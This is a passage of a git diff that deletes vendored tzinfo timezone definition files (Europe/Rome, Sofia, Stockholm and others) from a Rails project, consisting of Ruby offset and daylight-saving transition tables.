-          tz.transition 2039, 10, :o3, 59186197, 24
-          tz.transition 2040, 3, :o8, 59189725, 24
-          tz.transition 2040, 10, :o3, 59194933, 24
-          tz.transition 2041, 3, :o8, 59198629, 24
-          tz.transition 2041, 10, :o3, 59203669, 24
-          tz.transition 2042, 3, :o8, 59207365, 24
-          tz.transition 2042, 10, :o3, 59212405, 24
-          tz.transition 2043, 3, :o8, 59216101, 24
-          tz.transition 2043, 10, :o3, 59221141, 24
-          tz.transition 2044, 3, :o8, 59224837, 24
-          tz.transition 2044, 10, :o3, 59230045, 24
-          tz.transition 2045, 3, :o8, 59233573, 24
-          tz.transition 2045, 10, :o3, 59238781, 24
-          tz.transition 2046, 3, :o8, 59242309, 24
-          tz.transition 2046, 10, :o3, 59247517, 24
-          tz.transition 2047, 3, :o8, 59251213, 24
-          tz.transition 2047, 10, :o3, 59256253, 24
-          tz.transition 2048, 3, :o8, 59259949, 24
-          tz.transition 2048, 10, :o3, 59264989, 24
-          tz.transition 2049, 3, :o8, 59268685, 24
-          tz.transition 2049, 10, :o3, 59273893, 24
-          tz.transition 2050, 3, :o8, 59277421, 24
-          tz.transition 2050, 10, :o3, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Rome.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Rome.rb
deleted file mode 100644
index aa7b43d9..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Rome.rb
+++ /dev/null
@@ -1,215 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Rome
-        include TimezoneDefinition
-        
-        timezone 'Europe/Rome' do |tz|
-          tz.offset :o0, 2996, 0, :LMT
-          tz.offset :o1, 2996, 0, :RMT
-          tz.offset :o2, 3600, 0, :CET
-          tz.offset :o3, 3600, 3600, :CEST
-          
-          tz.transition 1866, 9, :o1, 51901915651, 21600
-          tz.transition 1893, 10, :o2, 52115798851, 21600
-          tz.transition 1916, 6, :o3, 58104419, 24
-          tz.transition 1916, 9, :o2, 58107299, 24
-          tz.transition 1917, 3, :o3, 58111667, 24
-          tz.transition 1917, 9, :o2, 58116035, 24
-          tz.transition 1918, 3, :o3, 58119899, 24
-          tz.transition 1918, 10, :o2, 58124939, 24
-          tz.transition 1919, 3, :o3, 58128467, 24
-          tz.transition 1919, 10, :o2, 58133675, 24
-          tz.transition 1920, 3, :o3, 58137707, 24
-          tz.transition 1920, 9, :o2, 58142075, 24
-          tz.transition 1940, 6, :o3, 58315091, 24
-          tz.transition 1942, 11, :o2, 58335973, 24
-          tz.transition 1943, 3, :o3, 58339501, 24
-          tz.transition 1943, 10, :o2, 58344037, 24
-          tz.transition 1944, 4, :o3, 58348405, 24
-          tz.transition 1944, 9, :o2, 58352411, 24
-          tz.transition 1945, 4, :o3, 58357141, 24
-          tz.transition 1945, 9, :o2, 58361123, 24
-          tz.transition 1946, 3, :o3, 58365517, 24
-          tz.transition 1946, 10, :o2, 58370389, 24
-          tz.transition 1947, 3, :o3, 58374251, 24
-          tz.transition 1947, 10, :o2, 58379123, 24
-          tz.transition 1948, 2, :o3, 58382653, 24
-          tz.transition 1948, 10, :o2, 58387861, 24
-          tz.transition 1966, 5, :o3, 58542419, 24
-          tz.transition 1966, 9, :o2, 29272721, 12
-          tz.transition 1967, 5, :o3, 58551323, 24
-          tz.transition 1967, 9, :o2, 29277089, 12
-          tz.transition 1968, 5, :o3, 58560059, 24
-          tz.transition 1968, 9, :o2, 29281457, 12
-          tz.transition 1969, 5, :o3, 58568963, 24
-          tz.transition 1969, 9, :o2, 29285909, 12
-          tz.transition 1970, 5, :o3, 12956400
-          tz.transition 1970, 9, :o2, 23234400
-          tz.transition 1971, 5, :o3, 43801200
-          tz.transition 1971, 9, :o2, 54687600
-          tz.transition 1972, 5, :o3, 75855600
-          tz.transition 1972, 9, :o2, 86738400
-          tz.transition 1973, 6, :o3, 107910000
-          tz.transition 1973, 9, :o2, 118188000
-          tz.transition 1974, 5, :o3, 138754800
-          tz.transition 1974, 9, :o2, 149637600
-          tz.transition 1975, 5, :o3, 170809200
-          tz.transition 1975, 9, :o2, 181090800
-          tz.transition 1976, 5, :o3, 202258800
-          tz.transition 1976, 9, :o2, 212540400
-          tz.transition 1977, 5, :o3, 233103600
-          tz.transition 1977, 9, :o2, 243990000
-          tz.transition 1978, 5, :o3, 265158000
-          tz.transition 1978, 9, :o2, 276044400
-          tz.transition 1979, 5, :o3, 296607600
-          tz.transition 1979, 9, :o2, 307494000
-          tz.transition 1980, 4, :o3, 323830800
-          tz.transition 1980, 9, :o2, 338950800
-          tz.transition 1981, 3, :o3, 354675600
-          tz.transition 1981, 9, :o2, 370400400
-          tz.transition 1982, 3, :o3, 386125200
-          tz.transition 1982, 9, :o2, 401850000
-          tz.transition 1983, 3, :o3, 417574800
-          tz.transition 1983, 9, :o2, 433299600
-          tz.transition 1984, 3, :o3, 449024400
-          tz.transition 1984, 9, :o2, 465354000
-          tz.transition 1985, 3, :o3, 481078800
-          tz.transition 1985, 9, :o2, 496803600
-          tz.transition 1986, 3, :o3, 512528400
-          tz.transition 1986, 9, :o2, 528253200
-          tz.transition 1987, 3, :o3, 543978000
-          tz.transition 1987, 9, :o2, 559702800
-          tz.transition 1988, 3, :o3, 575427600
-          tz.transition 1988, 9, :o2, 591152400
-          tz.transition 1989, 3, :o3, 606877200
-          tz.transition 1989, 9, :o2, 622602000
-          tz.transition 1990, 3, :o3, 638326800
-          tz.transition 1990, 9, :o2, 654656400
-          tz.transition 1991, 3, :o3, 670381200
-          tz.transition 1991, 9, :o2, 686106000
-          tz.transition 1992, 3, :o3, 701830800
-          tz.transition 1992, 9, :o2, 717555600
-          tz.transition 1993, 3, :o3, 733280400
-          tz.transition 1993, 9, :o2, 749005200
-          tz.transition 1994, 3, :o3, 764730000
-          tz.transition 1994, 9, :o2, 780454800
-          tz.transition 1995, 3, :o3, 796179600
-          tz.transition 1995, 9, :o2, 811904400
-          tz.transition 1996, 3, :o3, 828234000
-          tz.transition 1996, 10, :o2, 846378000
-          tz.transition 1997, 3, :o3, 859683600
-          tz.transition 1997, 10, :o2, 877827600
-          tz.transition 1998, 3, :o3, 891133200
-          tz.transition 1998, 10, :o2, 909277200
-          tz.transition 1999, 3, :o3, 922582800
-          tz.transition 1999, 10, :o2, 941331600
-          tz.transition 2000, 3, :o3, 954032400
-          tz.transition 2000, 10, :o2, 972781200
-          tz.transition 2001, 3, :o3, 985482000
-          tz.transition 2001, 10, :o2, 1004230800
-          tz.transition 2002, 3, :o3, 1017536400
-          tz.transition 2002, 10, :o2, 1035680400
-          tz.transition 2003, 3, :o3, 1048986000
-          tz.transition 2003, 10, :o2, 1067130000
-          tz.transition 2004, 3, :o3, 1080435600
-          tz.transition 2004, 10, :o2, 1099184400
-          tz.transition 2005, 3, :o3, 1111885200
-          tz.transition 2005, 10, :o2, 1130634000
-          tz.transition 2006, 3, :o3, 1143334800
-          tz.transition 2006, 10, :o2, 1162083600
-          tz.transition 2007, 3, :o3, 1174784400
-          tz.transition 2007, 10, :o2, 1193533200
-          tz.transition 2008, 3, :o3, 1206838800
-          tz.transition 2008, 10, :o2, 1224982800
-          tz.transition 2009, 3, :o3, 1238288400
-          tz.transition 2009, 10, :o2, 1256432400
-          tz.transition 2010, 3, :o3, 1269738000
-          tz.transition 2010, 10, :o2, 1288486800
-          tz.transition 2011, 3, :o3, 1301187600
-          tz.transition 2011, 10, :o2, 1319936400
-          tz.transition 2012, 3, :o3, 1332637200
-          tz.transition 2012, 10, :o2, 1351386000
-          tz.transition 2013, 3, :o3, 1364691600
-          tz.transition 2013, 10, :o2, 1382835600
-          tz.transition 2014, 3, :o3, 1396141200
-          tz.transition 2014, 10, :o2, 1414285200
-          tz.transition 2015, 3, :o3, 1427590800
-          tz.transition 2015, 10, :o2, 1445734800
-          tz.transition 2016, 3, :o3, 1459040400
-          tz.transition 2016, 10, :o2, 1477789200
-          tz.transition 2017, 3, :o3, 1490490000
-          tz.transition 2017, 10, :o2, 1509238800
-          tz.transition 2018, 3, :o3, 1521939600
-          tz.transition 2018, 10, :o2, 1540688400
-          tz.transition 2019, 3, :o3, 1553994000
-          tz.transition 2019, 10, :o2, 1572138000
-          tz.transition 2020, 3, :o3, 1585443600
-          tz.transition 2020, 10, :o2, 1603587600
-          tz.transition 2021, 3, :o3, 1616893200
-          tz.transition 2021, 10, :o2, 1635642000
-          tz.transition 2022, 3, :o3, 1648342800
-          tz.transition 2022, 10, :o2, 1667091600
-          tz.transition 2023, 3, :o3, 1679792400
-          tz.transition 2023, 10, :o2, 1698541200
-          tz.transition 2024, 3, :o3, 1711846800
-          tz.transition 2024, 10, :o2, 1729990800
-          tz.transition 2025, 3, :o3, 1743296400
-          tz.transition 2025, 10, :o2, 1761440400
-          tz.transition 2026, 3, :o3, 1774746000
-          tz.transition 2026, 10, :o2, 1792890000
-          tz.transition 2027, 3, :o3, 1806195600
-          tz.transition 2027, 10, :o2, 1824944400
-          tz.transition 2028, 3, :o3, 1837645200
-          tz.transition 2028, 10, :o2, 1856394000
-          tz.transition 2029, 3, :o3, 1869094800
-          tz.transition 2029, 10, :o2, 1887843600
-          tz.transition 2030, 3, :o3, 1901149200
-          tz.transition 2030, 10, :o2, 1919293200
-          tz.transition 2031, 3, :o3, 1932598800
-          tz.transition 2031, 10, :o2, 1950742800
-          tz.transition 2032, 3, :o3, 1964048400
-          tz.transition 2032, 10, :o2, 1982797200
-          tz.transition 2033, 3, :o3, 1995498000
-          tz.transition 2033, 10, :o2, 2014246800
-          tz.transition 2034, 3, :o3, 2026947600
-          tz.transition 2034, 10, :o2, 2045696400
-          tz.transition 2035, 3, :o3, 2058397200
-          tz.transition 2035, 10, :o2, 2077146000
-          tz.transition 2036, 3, :o3, 2090451600
-          tz.transition 2036, 10, :o2, 2108595600
-          tz.transition 2037, 3, :o3, 2121901200
-          tz.transition 2037, 10, :o2, 2140045200
-          tz.transition 2038, 3, :o3, 59172253, 24
-          tz.transition 2038, 10, :o2, 59177461, 24
-          tz.transition 2039, 3, :o3, 59180989, 24
-          tz.transition 2039, 10, :o2, 59186197, 24
-          tz.transition 2040, 3, :o3, 59189725, 24
-          tz.transition 2040, 10, :o2, 59194933, 24
-          tz.transition 2041, 3, :o3, 59198629, 24
-          tz.transition 2041, 10, :o2, 59203669, 24
-          tz.transition 2042, 3, :o3, 59207365, 24
-          tz.transition 2042, 10, :o2, 59212405, 24
-          tz.transition 2043, 3, :o3, 59216101, 24
-          tz.transition 2043, 10, :o2, 59221141, 24
-          tz.transition 2044, 3, :o3, 59224837, 24
-          tz.transition 2044, 10, :o2, 59230045, 24
-          tz.transition 2045, 3, :o3, 59233573, 24
-          tz.transition 2045, 10, :o2, 59238781, 24
-          tz.transition 2046, 3, :o3, 59242309, 24
-          tz.transition 2046, 10, :o2, 59247517, 24
-          tz.transition 2047, 3, :o3, 59251213, 24
-          tz.transition 2047, 10, :o2, 59256253, 24
-          tz.transition 2048, 3, :o3, 59259949, 24
-          tz.transition 2048, 10, :o2, 59264989, 24
-          tz.transition 2049, 3, :o3, 59268685, 24
-          tz.transition 2049, 10, :o2, 59273893, 24
-          tz.transition 2050, 3, :o3, 59277421, 24
-          tz.transition 2050, 10, :o2, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Sarajevo.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Sarajevo.rb
deleted file mode 100644
index 068c5fe6..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Sarajevo.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Sarajevo
-        include TimezoneDefinition
-        
-        linked_timezone 'Europe/Sarajevo', 'Europe/Belgrade'
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Skopje.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Skopje.rb
deleted file mode 100644
index 10b71f28..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Skopje.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Skopje
-        include TimezoneDefinition
-        
-        linked_timezone 'Europe/Skopje', 'Europe/Belgrade'
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Sofia.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Sofia.rb
deleted file mode 100644
index 38a70ece..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Sofia.rb
+++ /dev/null
@@ -1,173 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Sofia
-        include TimezoneDefinition
-        
-        timezone 'Europe/Sofia' do |tz|
-          tz.offset :o0, 5596, 0, :LMT
-          tz.offset :o1, 7016, 0, :IMT
-          tz.offset :o2, 7200, 0, :EET
-          tz.offset :o3, 3600, 0, :CET
-          tz.offset :o4, 3600, 3600, :CEST
-          tz.offset :o5, 7200, 3600, :EEST
-          
-          tz.transition 1879, 12, :o1, 52006653401, 21600
-          tz.transition 1894, 11, :o2, 26062154123, 10800
-          tz.transition 1942, 11, :o3, 58335973, 24
-          tz.transition 1943, 3, :o4, 58339501, 24
-          tz.transition 1943, 10, :o3, 58344037, 24
-          tz.transition 1944, 4, :o4, 58348405, 24
-          tz.transition 1944, 10, :o3, 58352773, 24
-          tz.transition 1945, 4, :o2, 29178571, 12
-          tz.transition 1979, 3, :o5, 291762000
-          tz.transition 1979, 9, :o2, 307576800
-          tz.transition 1980, 4, :o5, 323816400
-          tz.transition 1980, 9, :o2, 339026400
-          tz.transition 1981, 4, :o5, 355266000
-          tz.transition 1981, 9, :o2, 370393200
-          tz.transition 1982, 4, :o5, 386715600
-          tz.transition 1982, 9, :o2, 401846400
-          tz.transition 1983, 3, :o5, 417571200
-          tz.transition 1983, 9, :o2, 433296000
-          tz.transition 1984, 3, :o5, 449020800
-          tz.transition 1984, 9, :o2, 465350400
-          tz.transition 1985, 3, :o5, 481075200
-          tz.transition 1985, 9, :o2, 496800000
-          tz.transition 1986, 3, :o5, 512524800
-          tz.transition 1986, 9, :o2, 528249600
-          tz.transition 1987, 3, :o5, 543974400
-          tz.transition 1987, 9, :o2, 559699200
-          tz.transition 1988, 3, :o5, 575424000
-          tz.transition 1988, 9, :o2, 591148800
-          tz.transition 1989, 3, :o5, 606873600
-          tz.transition 1989, 9, :o2, 622598400
-          tz.transition 1990, 3, :o5, 638323200
-          tz.transition 1990, 9, :o2, 654652800
-          tz.transition 1991, 3, :o5, 670370400
-          tz.transition 1991, 9, :o2, 686091600
-          tz.transition 1992, 3, :o5, 701820000
-          tz.transition 1992, 9, :o2, 717541200
-          tz.transition 1993, 3, :o5, 733269600
-          tz.transition 1993, 9, :o2, 748990800
-          tz.transition 1994, 3, :o5, 764719200
-          tz.transition 1994, 9, :o2, 780440400
-          tz.transition 1995, 3, :o5, 796168800
-          tz.transition 1995, 9, :o2, 811890000
-          tz.transition 1996, 3, :o5, 828223200
-          tz.transition 1996, 10, :o2, 846363600
-          tz.transition 1997, 3, :o5, 859683600
-          tz.transition 1997, 10, :o2, 877827600
-          tz.transition 1998, 3, :o5, 891133200
-          tz.transition 1998, 10, :o2, 909277200
-          tz.transition 1999, 3, :o5, 922582800
-          tz.transition 1999, 10, :o2, 941331600
-          tz.transition 2000, 3, :o5, 954032400
-          tz.transition 2000, 10, :o2, 972781200
-          tz.transition 2001, 3, :o5, 985482000
-          tz.transition 2001, 10, :o2, 1004230800
-          tz.transition 2002, 3, :o5, 1017536400
-          tz.transition 2002, 10, :o2, 1035680400
-          tz.transition 2003, 3, :o5, 1048986000
-          tz.transition 2003, 10, :o2, 1067130000
-          tz.transition 2004, 3, :o5, 1080435600
-          tz.transition 2004, 10, :o2, 1099184400
-          tz.transition 2005, 3, :o5, 1111885200
-          tz.transition 2005, 10, :o2, 1130634000
-          tz.transition 2006, 3, :o5, 1143334800
-          tz.transition 2006, 10, :o2, 1162083600
-          tz.transition 2007, 3, :o5, 1174784400
-          tz.transition 2007, 10, :o2, 1193533200
-          tz.transition 2008, 3, :o5, 1206838800
-          tz.transition 2008, 10, :o2, 1224982800
-          tz.transition 2009, 3, :o5, 1238288400
-          tz.transition 2009, 10, :o2, 1256432400
-          tz.transition 2010, 3, :o5, 1269738000
-          tz.transition 2010, 10, :o2, 1288486800
-          tz.transition 2011, 3, :o5, 1301187600
-          tz.transition 2011, 10, :o2, 1319936400
-          tz.transition 2012, 3, :o5, 1332637200
-          tz.transition 2012, 10, :o2, 1351386000
-          tz.transition 2013, 3, :o5, 1364691600
-          tz.transition 2013, 10, :o2, 1382835600
-          tz.transition 2014, 3, :o5, 1396141200
-          tz.transition 2014, 10, :o2, 1414285200
-          tz.transition 2015, 3, :o5, 1427590800
-          tz.transition 2015, 10, :o2, 1445734800
-          tz.transition 2016, 3, :o5, 1459040400
-          tz.transition 2016, 10, :o2, 1477789200
-          tz.transition 2017, 3, :o5, 1490490000
-          tz.transition 2017, 10, :o2, 1509238800
-          tz.transition 2018, 3, :o5, 1521939600
-          tz.transition 2018, 10, :o2, 1540688400
-          tz.transition 2019, 3, :o5, 1553994000
-          tz.transition 2019, 10, :o2, 1572138000
-          tz.transition 2020, 3, :o5, 1585443600
-          tz.transition 2020, 10, :o2, 1603587600
-          tz.transition 2021, 3, :o5, 1616893200
-          tz.transition 2021, 10, :o2, 1635642000
-          tz.transition 2022, 3, :o5, 1648342800
-          tz.transition 2022, 10, :o2, 1667091600
-          tz.transition 2023, 3, :o5, 1679792400
-          tz.transition 2023, 10, :o2, 1698541200
-          tz.transition 2024, 3, :o5, 1711846800
-          tz.transition 2024, 10, :o2, 1729990800
-          tz.transition 2025, 3, :o5, 1743296400
-          tz.transition 2025, 10, :o2, 1761440400
-          tz.transition 2026, 3, :o5, 1774746000
-          tz.transition 2026, 10, :o2, 1792890000
-          tz.transition 2027, 3, :o5, 1806195600
-          tz.transition 2027, 10, :o2, 1824944400
-          tz.transition 2028, 3, :o5, 1837645200
-          tz.transition 2028, 10, :o2, 1856394000
-          tz.transition 2029, 3, :o5, 1869094800
-          tz.transition 2029, 10, :o2, 1887843600
-          tz.transition 2030, 3, :o5, 1901149200
-          tz.transition 2030, 10, :o2, 1919293200
-          tz.transition 2031, 3, :o5, 1932598800
-          tz.transition 2031, 10, :o2, 1950742800
-          tz.transition 2032, 3, :o5, 1964048400
-          tz.transition 2032, 10, :o2, 1982797200
-          tz.transition 2033, 3, :o5, 1995498000
-          tz.transition 2033, 10, :o2, 2014246800
-          tz.transition 2034, 3, :o5, 2026947600
-          tz.transition 2034, 10, :o2, 2045696400
-          tz.transition 2035, 3, :o5, 2058397200
-          tz.transition 2035, 10, :o2, 2077146000
-          tz.transition 2036, 3, :o5, 2090451600
-          tz.transition 2036, 10, :o2, 2108595600
-          tz.transition 2037, 3, :o5, 2121901200
-          tz.transition 2037, 10, :o2, 2140045200
-          tz.transition 2038, 3, :o5, 59172253, 24
-          tz.transition 2038, 10, :o2, 59177461, 24
-          tz.transition 2039, 3, :o5, 59180989, 24
-          tz.transition 2039, 10, :o2, 59186197, 24
-          tz.transition 2040, 3, :o5, 59189725, 24
-          tz.transition 2040, 10, :o2, 59194933, 24
-          tz.transition 2041, 3, :o5, 59198629, 24
-          tz.transition 2041, 10, :o2, 59203669, 24
-          tz.transition 2042, 3, :o5, 59207365, 24
-          tz.transition 2042, 10, :o2, 59212405, 24
-          tz.transition 2043, 3, :o5, 59216101, 24
-          tz.transition 2043, 10, :o2, 59221141, 24
-          tz.transition 2044, 3, :o5, 59224837, 24
-          tz.transition 2044, 10, :o2, 59230045, 24
-          tz.transition 2045, 3, :o5, 59233573, 24
-          tz.transition 2045, 10, :o2, 59238781, 24
-          tz.transition 2046, 3, :o5, 59242309, 24
-          tz.transition 2046, 10, :o2, 59247517, 24
-          tz.transition 2047, 3, :o5, 59251213, 24
-          tz.transition 2047, 10, :o2, 59256253, 24
-          tz.transition 2048, 3, :o5, 59259949, 24
-          tz.transition 2048, 10, :o2, 59264989, 24
-          tz.transition 2049, 3, :o5, 59268685, 24
-          tz.transition 2049, 10, :o2, 59273893, 24
-          tz.transition 2050, 3, :o5, 59277421, 24
-          tz.transition 2050, 10, :o2, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Stockholm.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Stockholm.rb
deleted file mode 100644
index 43db70fa..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Stockholm.rb
+++ /dev/null
@@ -1,165 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Stockholm
-        include TimezoneDefinition
-        
-        timezone 'Europe/Stockholm' do |tz|
-          tz.offset :o0, 4332, 0, :LMT
-          tz.offset :o1, 3614, 0, :SET
-          tz.offset :o2, 3600, 0, :CET
-          tz.offset :o3, 3600, 3600, :CEST
-          
-          tz.transition 1878, 12, :o1, 17332923239, 7200
-          tz.transition 1899, 12, :o2, 104328883793, 43200
-          tz.transition 1916, 5, :o3, 29051981, 12
-          tz.transition 1916, 9, :o2, 58107299, 24
-          tz.transition 1980, 4, :o3, 323830800
-          tz.transition 1980, 9, :o2, 338950800
-          tz.transition 1981, 3, :o3, 354675600
-          tz.transition 1981, 9, :o2, 370400400
-          tz.transition 1982, 3, :o3, 386125200
-          tz.transition 1982, 9, :o2, 401850000
-          tz.transition 1983, 3, :o3, 417574800
-          tz.transition 1983, 9, :o2, 433299600
-          tz.transition 1984, 3, :o3, 449024400
-          tz.transition 1984, 9, :o2, 465354000
-          tz.transition 1985, 3, :o3, 481078800
-          tz.transition 1985, 9, :o2, 496803600
-          tz.transition 1986, 3, :o3, 512528400
-          tz.transition 1986, 9, :o2, 528253200
-          tz.transition 1987, 3, :o3, 543978000
-          tz.transition 1987, 9, :o2, 559702800
-          tz.transition 1988, 3, :o3, 575427600
-          tz.transition 1988, 9, :o2, 591152400
-          tz.transition 1989, 3, :o3, 606877200
-          tz.transition 1989, 9, :o2, 622602000
-          tz.transition 1990, 3, :o3, 638326800
-          tz.transition 1990, 9, :o2, 654656400
-          tz.transition 1991, 3, :o3, 670381200
-          tz.transition 1991, 9, :o2, 686106000
-          tz.transition 1992, 3, :o3, 701830800
-          tz.transition 1992, 9, :o2, 717555600
-          tz.transition 1993, 3, :o3, 733280400
-          tz.transition 1993, 9, :o2, 749005200
-          tz.transition 1994, 3, :o3, 764730000
-          tz.transition 1994, 9, :o2, 780454800
-          tz.transition 1995, 3, :o3, 796179600
-          tz.transition 1995, 9, :o2, 811904400
-          tz.transition 1996, 3, :o3, 828234000
-          tz.transition 1996, 10, :o2, 846378000
-          tz.transition 1997, 3, :o3, 859683600
-          tz.transition 1997, 10, :o2, 877827600
-          tz.transition 1998, 3, :o3, 891133200
-          tz.transition 1998, 10, :o2, 909277200
-          tz.transition 1999, 3, :o3, 922582800
-          tz.transition 1999, 10, :o2, 941331600
-          tz.transition 2000, 3, :o3, 954032400
-          tz.transition 2000, 10, :o2, 972781200
-          tz.transition 2001, 3, :o3, 985482000
-          tz.transition 2001, 10, :o2, 1004230800
-          tz.transition 2002, 3, :o3, 1017536400
-          tz.transition 2002, 10, :o2, 1035680400
-          tz.transition 2003, 3, :o3, 1048986000
-          tz.transition 2003, 10, :o2, 1067130000
-          tz.transition 2004, 3, :o3, 1080435600
-          tz.transition 2004, 10, :o2, 1099184400
-          tz.transition 2005, 3, :o3, 1111885200
-          tz.transition 2005, 10, :o2, 1130634000
-          tz.transition 2006, 3, :o3, 1143334800
-          tz.transition 2006, 10, :o2, 1162083600
-          tz.transition 2007, 3, :o3, 1174784400
-          tz.transition 2007, 10, :o2, 1193533200
-          tz.transition 2008, 3, :o3, 1206838800
-          tz.transition 2008, 10, :o2, 1224982800
-          tz.transition 2009, 3, :o3, 1238288400
-          tz.transition 2009, 10, :o2, 1256432400
-          tz.transition 2010, 3, :o3, 1269738000
-          tz.transition 2010, 10, :o2, 1288486800
-          tz.transition 2011, 3, :o3, 1301187600
-          tz.transition 2011, 10, :o2, 1319936400
-          tz.transition 2012, 3, :o3, 1332637200
-          tz.transition 2012, 10, :o2, 1351386000
-          tz.transition 2013, 3, :o3, 1364691600
-          tz.transition 2013, 10, :o2, 1382835600
-          tz.transition 2014, 3, :o3, 1396141200
-          tz.transition 2014, 10, :o2, 1414285200
-          tz.transition 2015, 3, :o3, 1427590800
-          tz.transition 2015, 10, :o2, 1445734800
-          tz.transition 2016, 3, :o3, 1459040400
-          tz.transition 2016, 10, :o2, 1477789200
-          tz.transition 2017, 3, :o3, 1490490000
-          tz.transition 2017, 10, :o2, 1509238800
-          tz.transition 2018, 3, :o3, 1521939600
-          tz.transition 2018, 10, :o2, 1540688400
-          tz.transition 2019, 3, :o3, 1553994000
-          tz.transition 2019, 10, :o2, 1572138000
-          tz.transition 2020, 3, :o3, 1585443600
-          tz.transition 2020, 10, :o2, 1603587600
-          tz.transition 2021, 3, :o3, 1616893200
-          tz.transition 2021, 10, :o2, 1635642000
-          tz.transition 2022, 3, :o3, 1648342800
-          tz.transition 2022, 10, :o2, 1667091600
-          tz.transition 2023, 3, :o3, 1679792400
-          tz.transition 2023, 10, :o2, 1698541200
-          tz.transition 2024, 3, :o3, 1711846800
-          tz.transition 2024, 10, :o2, 1729990800
-          tz.transition 2025, 3, :o3, 1743296400
-          tz.transition 2025, 10, :o2, 1761440400
-          tz.transition 2026, 3, :o3, 1774746000
-          tz.transition 2026, 10, :o2, 1792890000
-          tz.transition 2027, 3, :o3, 1806195600
-          tz.transition 2027, 10, :o2, 1824944400
-          tz.transition 2028, 3, :o3, 1837645200
-          tz.transition 2028, 10, :o2, 1856394000
-          tz.transition 2029, 3, :o3, 1869094800
-          tz.transition 2029, 10, :o2, 1887843600
-          tz.transition 2030, 3, :o3, 1901149200
-          tz.transition 2030, 10, :o2, 1919293200
-          tz.transition 2031, 3, :o3, 1932598800
-          tz.transition 2031, 10, :o2, 1950742800
-          tz.transition 2032, 3, :o3, 1964048400
-          tz.transition 2032, 10, :o2, 1982797200
-          tz.transition 2033, 3, :o3, 1995498000
-          tz.transition 2033, 10, :o2, 2014246800
-          tz.transition 2034, 3, :o3, 2026947600
-          tz.transition 2034, 10, :o2, 2045696400
-          tz.transition 2035, 3, :o3, 2058397200
-          tz.transition 2035, 10, :o2, 2077146000
-          tz.transition 2036, 3, :o3, 2090451600
-          tz.transition 2036, 10, :o2, 2108595600
-          tz.transition 2037, 3, :o3, 2121901200
-          tz.transition 2037, 10, :o2, 2140045200
-          tz.transition 2038, 3, :o3, 59172253, 24
-          tz.transition 2038, 10, :o2, 59177461, 24
-          tz.transition 2039, 3, :o3, 59180989, 24
-          tz.transition 2039, 10, :o2, 59186197, 24
-          tz.transition 2040, 3, :o3, 59189725, 24
-          tz.transition 2040, 10, :o2, 59194933, 24
-          tz.transition 2041, 3, :o3, 59198629, 24
-          tz.transition 2041, 10, :o2, 59203669, 24
-          tz.transition 2042, 3, :o3, 59207365, 24
-          tz.transition 2042, 10, :o2, 59212405, 24
-          tz.transition 2043, 3, :o3, 59216101, 24
-          tz.transition 2043, 10, :o2, 59221141, 24
-          tz.transition 2044, 3, :o3, 59224837, 24
-          tz.transition 2044, 10, :o2, 59230045, 24
-          tz.transition 2045, 3, :o3, 59233573, 24
-          tz.transition 2045, 10, :o2, 59238781, 24
-          tz.transition 2046, 3, :o3, 59242309, 24
-          tz.transition 2046, 10, :o2, 59247517, 24
-          tz.transition 2047, 3, :o3, 59251213, 24
-          tz.transition 2047, 10, :o2, 59256253, 24
-          tz.transition 2048, 3, :o3, 59259949, 24
-          tz.transition 2048, 10, :o2, 59264989, 24
-          tz.transition 2049, 3, :o3, 59268685, 24
-          tz.transition 2049, 10, :o2, 59273893, 24
-          tz.transition 2050, 3, :o3, 59277421, 24
-          tz.transition 2050, 10, :o2, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Tallinn.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Tallinn.rb
deleted file mode 100644
index de5a8569..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Tallinn.rb
+++ /dev/null
@@ -1,172 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Tallinn
-        include TimezoneDefinition
-        
-        timezone 'Europe/Tallinn' do |tz|
-          tz.offset :o0, 5940, 0, :LMT
-          tz.offset :o1, 5940, 0, :TMT
